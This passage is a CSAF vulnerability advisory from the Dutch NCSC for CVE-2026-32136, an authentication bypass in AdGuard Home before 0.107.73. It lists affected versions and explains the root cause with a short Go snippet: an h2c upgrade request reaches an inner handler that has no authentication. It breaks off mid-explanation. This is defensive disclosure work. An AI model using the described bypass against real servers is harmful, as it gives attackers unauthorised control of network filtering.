{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-32136", "tracking": { "current_release_date": "2026-03-25T19:19:30.275726Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-32136", "initial_release_date": "2026-03-11T22:25:40.405708Z", "revision_history": [ { "date": "2026-03-11T22:25:40.405708Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)." }, { "date": "2026-03-11T22:25:44.061047Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-11T22:38:59.162031Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)." }, { "date": "2026-03-11T22:39:01.457599Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-12T14:57:13.706753Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-12T14:57:26.736398Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-03-12T16:15:36.630519Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-12T16:15:43.705793Z", "number": "8", "summary": "NCSC Score updated." }, { "date": "2026-03-12T16:39:31.149117Z", "number": "9", "summary": "Unknown change." }, { "date": "2026-03-13T20:27:08.512953Z", "number": "10", "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-03-13T20:27:18.612562Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-03-14T14:51:35.109093Z", "number": "12", "summary": "EPSS updated." }, { "date": "2026-03-14T14:51:36.505072Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-03-17T15:00:33.823403Z", "number": "14", "summary": "EPSS updated." }, { "date": "2026-03-19T15:30:16.679934Z", "number": "15", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-19T15:30:18.973211Z", "number": "16", "summary": "NCSC Score updated." }, { "date": "2026-03-20T09:31:39.590539Z", "number": "17", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-25T18:14:11.423566Z", "number": "18", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-03-25T18:14:14.038740Z", "number": "19", "summary": "NCSC Score updated." }, { "date": "2026-03-25T18:14:56.277795Z", "number": "20", "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (2)." }, { "date": "2026-03-25T19:18:59.146249Z", "number": "21", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (132).| Products created (21).| References created (3).| CWES updated (1)." } ], "status": "interim", "version": "21" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<0.107.73", "product": { "name": "vers:unknown/<0.107.73", "product_id": "CSAFPID-5825715", "product_identification_helper": { "cpe": "cpe:2.3:a:adguard:adguardhome:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "AdGuard Home" } ], "category": "vendor", "name": "AdGuard" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<0.107.73", "product": { "name": "vers:unknown/<0.107.73", "product_id": "CSAFPID-5800233" } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<0.107.73", "product": { "name": "vers:unknown/>=0|<0.107.73", "product_id": "CSAFPID-5907278" } } ], "category": "product_name", "name": "AdGuardHome" } ], "category": "vendor", "name": "AdguardTeam" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/v0.1", "product": { "name": "vers:unknown/v0.1", "product_id": "CSAFPID-3905210" } }, { "category": "product_version_range", "name": "vers:unknown/v0.100.0", "product": { "name": "vers:unknown/v0.100.0", "product_id": "CSAFPID-3905211" } }, { "category": "product_version_range", "name": "vers:unknown/v0.100.1", "product": { "name": "vers:unknown/v0.100.1", "product_id": "CSAFPID-3905212" } }, { "category": "product_version_range", "name": "vers:unknown/v0.100.2", "product": { "name": "vers:unknown/v0.100.2", "product_id": "CSAFPID-3905213" } }, { "category": "product_version_range", "name": "vers:unknown/v0.100.3", "product": { "name": "vers:unknown/v0.100.3", "product_id": "CSAFPID-3905214" } }, { "category": "product_version_range", "name": "vers:unknown/v0.100.4", "product": { "name": "vers:unknown/v0.100.4", "product_id": "CSAFPID-3905215" } }, { "category": "product_version_range", "name": "vers:unknown/v0.100.5", "product": { "name": "vers:unknown/v0.100.5", "product_id": "CSAFPID-3905216" } }, { "category": "product_version_range", "name": "vers:unknown/v0.100.6", "product": { "name": "vers:unknown/v0.100.6", "product_id": "CSAFPID-3905217" } }, { "category": "product_version_range", "name": "vers:unknown/v0.100.7", "product": { "name": "vers:unknown/v0.100.7", "product_id": "CSAFPID-3905218" } }, { "category": "product_version_range", "name": "vers:unknown/v0.100.8", "product": { "name": "vers:unknown/v0.100.8", "product_id": "CSAFPID-3905219" } }, { "category": "product_version_range", "name": "vers:unknown/v0.100.9", "product": { "name": "vers:unknown/v0.100.9", "product_id": "CSAFPID-3905220" } }, { "category": "product_version_range", "name": "vers:unknown/v0.101.0", "product": { "name": "vers:unknown/v0.101.0", "product_id": "CSAFPID-3905221" } }, { "category": "product_version_range", "name": "vers:unknown/v0.102.0", "product": { "name": "vers:unknown/v0.102.0", "product_id": "CSAFPID-3905222" } }, { "category": "product_version_range", "name": "vers:unknown/v0.103.0", "product": { "name": "vers:unknown/v0.103.0", "product_id": "CSAFPID-3905223" } }, { "category": "product_version_range", "name": "vers:unknown/v0.103.0-beta1", "product": { "name": "vers:unknown/v0.103.0-beta1", "product_id": "CSAFPID-3905224" } }, { "category": "product_version_range", "name": "vers:unknown/v0.103.0-beta2", "product": { "name": "vers:unknown/v0.103.0-beta2", "product_id": "CSAFPID-3905225" } }, { "category": "product_version_range", "name": "vers:unknown/v0.103.0-beta3", "product": { "name": "vers:unknown/v0.103.0-beta3", "product_id": "CSAFPID-3905226" } }, { "category": "product_version_range", "name": "vers:unknown/v0.103.1", "product": { "name": "vers:unknown/v0.103.1", "product_id": "CSAFPID-3905227" } }, { "category": "product_version_range", "name": "vers:unknown/v0.103.2", "product": { "name": "vers:unknown/v0.103.2", "product_id": "CSAFPID-3905228" } }, { "category": "product_version_range", "name": "vers:unknown/v0.103.3", "product": { "name": "vers:unknown/v0.103.3", "product_id": "CSAFPID-3905229" } }, { "category": "product_version_range", "name": "vers:unknown/v0.104.0", "product": { "name": "vers:unknown/v0.104.0", "product_id": "CSAFPID-3905230" } }, { "category": "product_version_range", "name": "vers:unknown/v0.104.0-beta1", "product": { "name": "vers:unknown/v0.104.0-beta1", "product_id": "CSAFPID-3905231" } }, { "category": "product_version_range", "name": "vers:unknown/v0.104.0-beta2", "product": { "name": "vers:unknown/v0.104.0-beta2", "product_id": "CSAFPID-3905232" } }, { "category": "product_version_range", "name": "vers:unknown/v0.104.0-beta3", "product": { "name": "vers:unknown/v0.104.0-beta3", "product_id": "CSAFPID-3905233" } }, { "category": "product_version_range", "name": "vers:unknown/v0.104.1", "product": { "name": "vers:unknown/v0.104.1", "product_id": "CSAFPID-3905234" } }, { "category": "product_version_range", "name": "vers:unknown/v0.104.2", "product": { "name": "vers:unknown/v0.104.2", "product_id": "CSAFPID-3905235" } }, { "category": "product_version_range", "name": "vers:unknown/v0.104.3", "product": { "name": "vers:unknown/v0.104.3", "product_id": "CSAFPID-3905236" } }, { "category": "product_version_range", "name": "vers:unknown/v0.105.0", "product": { "name": "vers:unknown/v0.105.0", "product_id": "CSAFPID-3905237" } }, { "category": "product_version_range", "name": "vers:unknown/v0.105.0-beta.1", "product": { "name": "vers:unknown/v0.105.0-beta.1", "product_id": "CSAFPID-3905238" } }, { "category": "product_version_range", "name": "vers:unknown/v0.105.0-beta.2", "product": { "name": "vers:unknown/v0.105.0-beta.2", "product_id": "CSAFPID-3905239" } }, { "category": "product_version_range", "name": "vers:unknown/v0.105.0-beta.3", "product": { "name": "vers:unknown/v0.105.0-beta.3", "product_id": "CSAFPID-3905240" } }, { "category": "product_version_range", "name": "vers:unknown/v0.105.0-beta.4", "product": { "name": "vers:unknown/v0.105.0-beta.4", "product_id": "CSAFPID-3905241" } }, { "category": "product_version_range", "name": "vers:unknown/v0.105.0-beta.5", "product": { "name": "vers:unknown/v0.105.0-beta.5", "product_id": "CSAFPID-3905242" } }, { "category": "product_version_range", "name": "vers:unknown/v0.105.1", "product": { "name": "vers:unknown/v0.105.1", "product_id": "CSAFPID-3905243" } }, { "category": "product_version_range", "name": "vers:unknown/v0.105.1-beta.1", "product": { "name": "vers:unknown/v0.105.1-beta.1", "product_id": "CSAFPID-3905244" } }, { "category": "product_version_range", "name": "vers:unknown/v0.105.2", "product": { "name": "vers:unknown/v0.105.2", "product_id": "CSAFPID-3905245" } }, { "category": "product_version_range", "name": "vers:unknown/v0.105.2-beta.1", "product": { "name": "vers:unknown/v0.105.2-beta.1", "product_id": "CSAFPID-3905246" } }, { "category": "product_version_range", "name": "vers:unknown/v0.106.0", "product": { "name": "vers:unknown/v0.106.0", "product_id": "CSAFPID-3905247" } }, { "category": "product_version_range", "name": "vers:unknown/v0.106.0-b.1", "product": { "name": "vers:unknown/v0.106.0-b.1", "product_id": "CSAFPID-3905248" } }, { "category": "product_version_range", "name": "vers:unknown/v0.106.0-b.2", "product": { "name": "vers:unknown/v0.106.0-b.2", "product_id": "CSAFPID-3905249" } }, { "category": "product_version_range", "name": "vers:unknown/v0.106.0-b.3", "product": { "name": "vers:unknown/v0.106.0-b.3", "product_id": "CSAFPID-3905250" } }, { "category": "product_version_range", "name": "vers:unknown/v0.106.0-b.4", "product": { "name": "vers:unknown/v0.106.0-b.4", "product_id": "CSAFPID-3905251" } }, { "category": "product_version_range", "name": "vers:unknown/v0.106.0-b.5", "product": { "name": "vers:unknown/v0.106.0-b.5", "product_id": "CSAFPID-3905252" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.0", "product": { "name": "vers:unknown/v0.107.0", "product_id": "CSAFPID-3905253" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.0-b.1", "product": { "name": "vers:unknown/v0.107.0-b.1", "product_id": "CSAFPID-3905254" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.0-b.10", "product": { "name": "vers:unknown/v0.107.0-b.10", "product_id": "CSAFPID-3905255" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.0-b.11", "product": { "name": "vers:unknown/v0.107.0-b.11", "product_id": "CSAFPID-3905256" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.0-b.12", "product": { "name": "vers:unknown/v0.107.0-b.12", "product_id": "CSAFPID-3905257" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.0-b.13", "product": { "name": "vers:unknown/v0.107.0-b.13", "product_id": "CSAFPID-3905258" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.0-b.14", "product": { "name": "vers:unknown/v0.107.0-b.14", "product_id": "CSAFPID-3905259" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.0-b.15", "product": { "name": "vers:unknown/v0.107.0-b.15", "product_id": "CSAFPID-3905260" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.0-b.16", "product": { "name": "vers:unknown/v0.107.0-b.16", "product_id": "CSAFPID-3905261" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.0-b.17", "product": { "name": "vers:unknown/v0.107.0-b.17", "product_id": "CSAFPID-3905262" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.0-b.2", "product": { "name": "vers:unknown/v0.107.0-b.2", "product_id": "CSAFPID-3905263" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.0-b.3", "product": { "name": "vers:unknown/v0.107.0-b.3", "product_id": "CSAFPID-3905264" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.0-b.4", "product": { "name": "vers:unknown/v0.107.0-b.4", "product_id": "CSAFPID-3905265" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.0-b.5", "product": { "name": "vers:unknown/v0.107.0-b.5", "product_id": "CSAFPID-3905266" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.0-b.6", "product": { "name": "vers:unknown/v0.107.0-b.6", "product_id": "CSAFPID-3905267" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.0-b.7", "product": { "name": "vers:unknown/v0.107.0-b.7", "product_id": "CSAFPID-3905268" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.0-b.8", "product": { "name": "vers:unknown/v0.107.0-b.8", "product_id": "CSAFPID-3905269" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.0-b.9", "product": { "name": "vers:unknown/v0.107.0-b.9", "product_id": "CSAFPID-3905270" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.1", "product": { "name": "vers:unknown/v0.107.1", "product_id": "CSAFPID-3905271" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.10", "product": { "name": "vers:unknown/v0.107.10", "product_id": "CSAFPID-3905272" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.11", "product": { "name": "vers:unknown/v0.107.11", "product_id": "CSAFPID-3905273" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.12", "product": { "name": "vers:unknown/v0.107.12", "product_id": "CSAFPID-3905274" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.13", "product": { "name": "vers:unknown/v0.107.13", "product_id": "CSAFPID-3905275" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.14", "product": { "name": "vers:unknown/v0.107.14", "product_id": "CSAFPID-3905276" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.15", "product": { "name": "vers:unknown/v0.107.15", "product_id": "CSAFPID-3905277" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.16", "product": { "name": "vers:unknown/v0.107.16", "product_id": "CSAFPID-3905278" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.17", "product": { "name": "vers:unknown/v0.107.17", "product_id": "CSAFPID-3905279" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.18", "product": { "name": "vers:unknown/v0.107.18", "product_id": "CSAFPID-3905280" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.19", "product": { "name": "vers:unknown/v0.107.19", "product_id": "CSAFPID-3905281" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.2", "product": { "name": "vers:unknown/v0.107.2", "product_id": "CSAFPID-3905282" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.20", "product": { "name": "vers:unknown/v0.107.20", "product_id": "CSAFPID-3905283" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.21", "product": { "name": "vers:unknown/v0.107.21", "product_id": "CSAFPID-3905284" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.22", "product": { "name": "vers:unknown/v0.107.22", "product_id": "CSAFPID-3905285" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.23", "product": { "name": "vers:unknown/v0.107.23", "product_id": "CSAFPID-3905286" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.24", "product": { "name": "vers:unknown/v0.107.24", "product_id": "CSAFPID-3905287" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.25", "product": { "name": "vers:unknown/v0.107.25", "product_id": "CSAFPID-3905288" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.26", "product": { "name": "vers:unknown/v0.107.26", "product_id": "CSAFPID-3905289" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.27", "product": { "name": "vers:unknown/v0.107.27", "product_id": "CSAFPID-3905290" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.28", "product": { "name": "vers:unknown/v0.107.28", "product_id": "CSAFPID-3905291" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.29", "product": { "name": "vers:unknown/v0.107.29", "product_id": "CSAFPID-3905292" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.3", "product": { "name": "vers:unknown/v0.107.3", "product_id": "CSAFPID-3905293" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.30", "product": { "name": "vers:unknown/v0.107.30", "product_id": "CSAFPID-3905294" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.31", "product": { "name": "vers:unknown/v0.107.31", "product_id": "CSAFPID-3905295" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.32", "product": { "name": "vers:unknown/v0.107.32", "product_id": "CSAFPID-3905296" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.33", "product": { "name": "vers:unknown/v0.107.33", "product_id": "CSAFPID-3905297" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.34", "product": { "name": "vers:unknown/v0.107.34", "product_id": "CSAFPID-3905298" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.35", "product": { "name": "vers:unknown/v0.107.35", "product_id": "CSAFPID-3905299" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.36", "product": { "name": "vers:unknown/v0.107.36", "product_id": "CSAFPID-3905300" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.37", "product": { "name": "vers:unknown/v0.107.37", "product_id": "CSAFPID-3905301" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.38", "product": { "name": "vers:unknown/v0.107.38", "product_id": "CSAFPID-3905302" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.39", "product": { "name": "vers:unknown/v0.107.39", "product_id": "CSAFPID-3905303" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.4", "product": { "name": "vers:unknown/v0.107.4", "product_id": "CSAFPID-3905304" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.40", "product": { "name": "vers:unknown/v0.107.40", "product_id": "CSAFPID-3905305" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.41", "product": { "name": "vers:unknown/v0.107.41", "product_id": "CSAFPID-3905306" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.42", "product": { "name": "vers:unknown/v0.107.42", "product_id": "CSAFPID-3905307" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.43", "product": { "name": "vers:unknown/v0.107.43", "product_id": "CSAFPID-3905308" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.44", "product": { "name": "vers:unknown/v0.107.44", "product_id": "CSAFPID-3905309" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.45", "product": { "name": "vers:unknown/v0.107.45", "product_id": "CSAFPID-3905310" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.46", "product": { "name": "vers:unknown/v0.107.46", "product_id": "CSAFPID-3905311" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.47", "product": { "name": "vers:unknown/v0.107.47", "product_id": "CSAFPID-3905312" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.48", "product": { "name": "vers:unknown/v0.107.48", "product_id": "CSAFPID-3905313" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.49", "product": { "name": "vers:unknown/v0.107.49", "product_id": "CSAFPID-3905314" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.5", "product": { "name": "vers:unknown/v0.107.5", "product_id": "CSAFPID-3905315" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.50", "product": { "name": "vers:unknown/v0.107.50", "product_id": "CSAFPID-3905316" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.51", "product": { "name": "vers:unknown/v0.107.51", "product_id": "CSAFPID-3905317" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.52", "product": { "name": "vers:unknown/v0.107.52", "product_id": "CSAFPID-5909230" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.53", "product": { "name": "vers:unknown/v0.107.53", "product_id": "CSAFPID-5909231" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.54", "product": { "name": "vers:unknown/v0.107.54", "product_id": "CSAFPID-5909232" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.55", "product": { "name": "vers:unknown/v0.107.55", "product_id": "CSAFPID-5909233" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.56", "product": { "name": "vers:unknown/v0.107.56", "product_id": "CSAFPID-5909234" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.57", "product": { "name": "vers:unknown/v0.107.57", "product_id": "CSAFPID-5909235" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.58", "product": { "name": "vers:unknown/v0.107.58", "product_id": "CSAFPID-5909236" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.59", "product": { "name": "vers:unknown/v0.107.59", "product_id": "CSAFPID-5909237" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.6", "product": { "name": "vers:unknown/v0.107.6", "product_id": "CSAFPID-3905318" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.60", "product": { "name": "vers:unknown/v0.107.60", "product_id": "CSAFPID-5909238" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.61", "product": { "name": "vers:unknown/v0.107.61", "product_id": "CSAFPID-5909239" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.62", "product": { "name": "vers:unknown/v0.107.62", "product_id": "CSAFPID-5909240" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.63", "product": { "name": "vers:unknown/v0.107.63", "product_id": "CSAFPID-5909241" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.64", "product": { "name": "vers:unknown/v0.107.64", "product_id": "CSAFPID-5909242" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.65", "product": { "name": "vers:unknown/v0.107.65", "product_id": "CSAFPID-5909243" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.66", "product": { "name": "vers:unknown/v0.107.66", "product_id": "CSAFPID-5909244" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.67", "product": { "name": "vers:unknown/v0.107.67", "product_id": "CSAFPID-5909245" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.68", "product": { "name": "vers:unknown/v0.107.68", "product_id": "CSAFPID-5909246" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.69", "product": { "name": "vers:unknown/v0.107.69", "product_id": "CSAFPID-5909247" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.7", "product": { "name": "vers:unknown/v0.107.7", "product_id": "CSAFPID-3905319" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.70", "product": { "name": "vers:unknown/v0.107.70", "product_id": "CSAFPID-5909248" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.71", "product": { "name": "vers:unknown/v0.107.71", "product_id": "CSAFPID-5909249" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.72", "product": { "name": "vers:unknown/v0.107.72", "product_id": "CSAFPID-5909250" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.8", "product": { "name": "vers:unknown/v0.107.8", "product_id": "CSAFPID-3905320" } }, { "category": "product_version_range", "name": "vers:unknown/v0.107.9", "product": { "name": "vers:unknown/v0.107.9", "product_id": "CSAFPID-3905321" } }, { "category": "product_version_range", "name": "vers:unknown/v0.9", "product": { "name": "vers:unknown/v0.9", "product_id": "CSAFPID-3905322" } }, { "category": "product_version_range", "name": "vers:unknown/v0.9-hotfix1", "product": { "name": "vers:unknown/v0.9-hotfix1", "product_id": "CSAFPID-3905323" } }, { "category": "product_version_range", "name": "vers:unknown/v0.91", "product": { "name": "vers:unknown/v0.91", "product_id": "CSAFPID-3905324" } }, { "category": "product_version_range", "name": "vers:unknown/v0.92", "product": { "name": "vers:unknown/v0.92", "product_id": "CSAFPID-3905325" } }, { "category": "product_version_range", "name": "vers:unknown/v0.92-hotfix1", "product": { "name": "vers:unknown/v0.92-hotfix1", "product_id": "CSAFPID-3905326" } }, { "category": "product_version_range", "name": "vers:unknown/v0.92-hotfix2", "product": { "name": "vers:unknown/v0.92-hotfix2", "product_id": "CSAFPID-3905327" } }, { "category": "product_version_range", "name": "vers:unknown/v0.93", "product": { "name": "vers:unknown/v0.93", "product_id": "CSAFPID-3905328" } }, { "category": "product_version_range", "name": "vers:unknown/v0.94", "product": { "name": "vers:unknown/v0.94", "product_id": "CSAFPID-3905329" } }, { "category": "product_version_range", "name": "vers:unknown/v0.95", "product": { "name": "vers:unknown/v0.95", "product_id": "CSAFPID-3905330" } }, { "category": "product_version_range", "name": "vers:unknown/v0.95-hotfix", "product": { "name": "vers:unknown/v0.95-hotfix", "product_id": "CSAFPID-3905331" } }, { "category": "product_version_range", "name": "vers:unknown/v0.96", "product": { "name": "vers:unknown/v0.96", "product_id": "CSAFPID-3905332" } }, { "category": "product_version_range", "name": "vers:unknown/v0.96-hotfix", "product": { "name": "vers:unknown/v0.96-hotfix", "product_id": "CSAFPID-3905333" } }, { "category": "product_version_range", "name": "vers:unknown/v0.97.0", "product": { "name": "vers:unknown/v0.97.0", "product_id": "CSAFPID-3905334" } }, { "category": "product_version_range", "name": "vers:unknown/v0.97.1", "product": { "name": "vers:unknown/v0.97.1", "product_id": "CSAFPID-3905335" } }, { "category": "product_version_range", "name": "vers:unknown/v0.98.0", "product": { "name": "vers:unknown/v0.98.0", "product_id": "CSAFPID-3905336" } }, { "category": "product_version_range", "name": "vers:unknown/v0.98.1", "product": { "name": "vers:unknown/v0.98.1", "product_id": "CSAFPID-3905337" } }, { "category": "product_version_range", "name": "vers:unknown/v0.99.0", "product": { "name": "vers:unknown/v0.99.0", "product_id": "CSAFPID-3905338" } }, { "category": "product_version_range", "name": "vers:unknown/v0.99.1", "product": { "name": "vers:unknown/v0.99.1", "product_id": "CSAFPID-3905339" } }, { "category": "product_version_range", "name": "vers:unknown/v0.99.2", "product": { "name": "vers:unknown/v0.99.2", "product_id": "CSAFPID-3905340" } }, { "category": "product_version_range", "name": "vers:unknown/v0.99.3", "product": { "name": "vers:unknown/v0.99.3", "product_id": "CSAFPID-3905341" } } ], "category": "product_name", "name": "adguardhome" } ], "category": "vendor", "name": "adguardteam" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-32136", "notes": [ { "category": "description", "text": "AdGuard Home is a network-wide software for blocking ads and tracking. Prior to 0.107.73, an unauthenticated remote attacker can bypass all authentication in AdGuardHome by sending an HTTP/1.1 request that requests an upgrade to HTTP/2 cleartext (h2c). Once the upgrade is accepted, the resulting HTTP/2 connection is handled by the inner mux, which has no authentication middleware attached. All subsequent HTTP/2 requests on that connection are processed as fully authenticated, regardless of whether any credentials were provided. This vulnerability is fixed in 0.107.73.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-32136" }, { "category": "description", "text": "AdGuard Home is a network-wide software for blocking ads and tracking. Prior to 0.107.73, an unauthenticated remote attacker can bypass all authentication in AdGuardHome by sending an HTTP/1.1 request that requests an upgrade to HTTP/2 cleartext (h2c). Once the upgrade is accepted, the resulting HTTP/2 connection is handled by the inner mux, which has no authentication middleware attached. All subsequent HTTP/2 requests on that connection are processed as fully authenticated, regardless of whether any credentials were provided. This vulnerability is fixed in 0.107.73.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-32136" }, { "category": "description", "text": "VULNERABILITY: HTTP/2 Cleartext (h2c) Upgrade Authentication Bypass\n========================================================================\nSeverity:  CRITICAL\nCVSS 3.1:  9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\nCWE:       CWE-287 (Improper Authentication)\nComponent: internal/home/web.go\nAffected:  AdGuardHome (tested on v0.107.72)\n\n------------------------------------------------------------------------\nSummary\n------------------------------------------------------------------------\n\nAn unauthenticated remote attacker can bypass all authentication in AdGuardHome by sending an HTTP/1.1 request that requests an upgrade to HTTP/2 cleartext (h2c). Once the upgrade is accepted, the resulting HTTP/2 connection is handled by the inner mux, which has no authentication middleware attached. All subsequent HTTP/2 requests on that connection are processed as fully authenticated, regardless of whether any credentials were provided.\n\n------------------------------------------------------------------------\nRoot Cause\n------------------------------------------------------------------------\n\nIn internal/home/web.go (approximately lines 268-283), the HTTP server is constructed as follows:\n    hdlr := h2c.NewHandler(\n        withMiddlewares(web.conf.mux, limitRequestBody),  // no auth\n        &http2.Server{},\n    )\n    web.httpServer = &http.Server{\n        Handler: web.auth.middleware().Wrap(hdlr),        // auth here\n    }\n\nThe authentication middleware wraps the h2c handler at the outer layer. When an h2c upgrade request arrives, the h2c library hijacks the TCP connection and calls http2.ServeConn with Handler set to the inner mux, which was stored at h2c.NewHandler creation time. The authentication middleware is never consulted for any request sent over the resulting 